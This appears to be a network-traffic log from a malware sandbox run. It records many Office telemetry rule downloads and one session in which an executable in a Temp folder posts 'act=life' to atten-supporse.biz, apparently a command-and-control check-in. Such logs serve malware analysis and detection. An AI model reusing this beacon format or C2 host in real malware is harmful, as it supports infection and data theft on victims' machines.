2024-11-30 08:45:46 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:46 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:46 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 97972df5-901e-008f-1591-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084546Z-174f78459688l8rvhC1EWRtzr00000000dsg0000000056r5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:47 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:47 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:47 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: b06c69a3-d01e-008e-61b3-42387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084547Z-174f7845968j6t2phC1EWRcfe800000011e00000000013vw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:47 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:47 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:47 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 80f7b3d9-401e-0083-53dd-41075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084547Z-174f78459684bddphC1EWRbht400000010zg0000000029am x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:47 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:47 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:48 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:48 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 46643e3e-501e-00a3-5ca9-42c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084548Z-174f7845968qj8jrhC1EWRh41s000000110g00000000arac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:48 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:48 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:48 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:48 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 0b0e70ef-c01e-00ad-0cbd-42a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084548Z-174f7845968n2hr8hC1EWR9cag00000010t0000000006zut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:48 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:48 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:49 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 9a71871d-601e-00ab-7626-4166f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084549Z-174f7845968swgbqhC1EWRmnb400000011c0000000003h49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:49 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:49 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:49 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 500645f0-d01e-0049-2151-41e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084549Z-174f7845968ljs8phC1EWRe6en00000010xg000000009xxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:49 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:49 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:49 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 47128673-401e-0083-0daf-42075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084549Z-174f7845968ljs8phC1EWRe6en00000010xg000000009xxd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:49 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49888	172.67.165.166	443	5224	C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:49 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-11-30 08:45:49 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-30 08:45:50 UTC	1023	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cb7gu56un73aejv7thihcqasc8; expires=Wed, 26-Mar-2025 02:32:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vyib%2FFsa2q8tk%2BNglZ5bfw%2FJhqCWQGzOfe47pA7Klm9lIWAQIF3%2BxDeUD6VH9chN9CbvRj2mZMHWAN2BWbwkyC1UvQuLtEtpBmHJHNv2YSyYiWboDUlatM%2FJVD%2B2Ev%2FPKgiRkas%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea990425d5218c0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1795&min_rtt=1520&rtt_var=767&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=1921052&cwnd=234&unsent_bytes=0&cid=fe8ee2d07c7ff5b1&ts=817&x=0"
2024-11-30 08:45:50 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-30 08:45:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:50 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:50 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:50 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 629a3d73-e01e-0052-0991-3fd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084550Z-174f78459688l8rvhC1EWRtzr00000000dx00000000001n9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:50 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:50 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:50 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:50 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 8df6d9b2-601e-003d-1f0a-416f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084550Z-174f7845968glpgnhC1EWR7uec0000001190000000007uzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:50 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:51 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
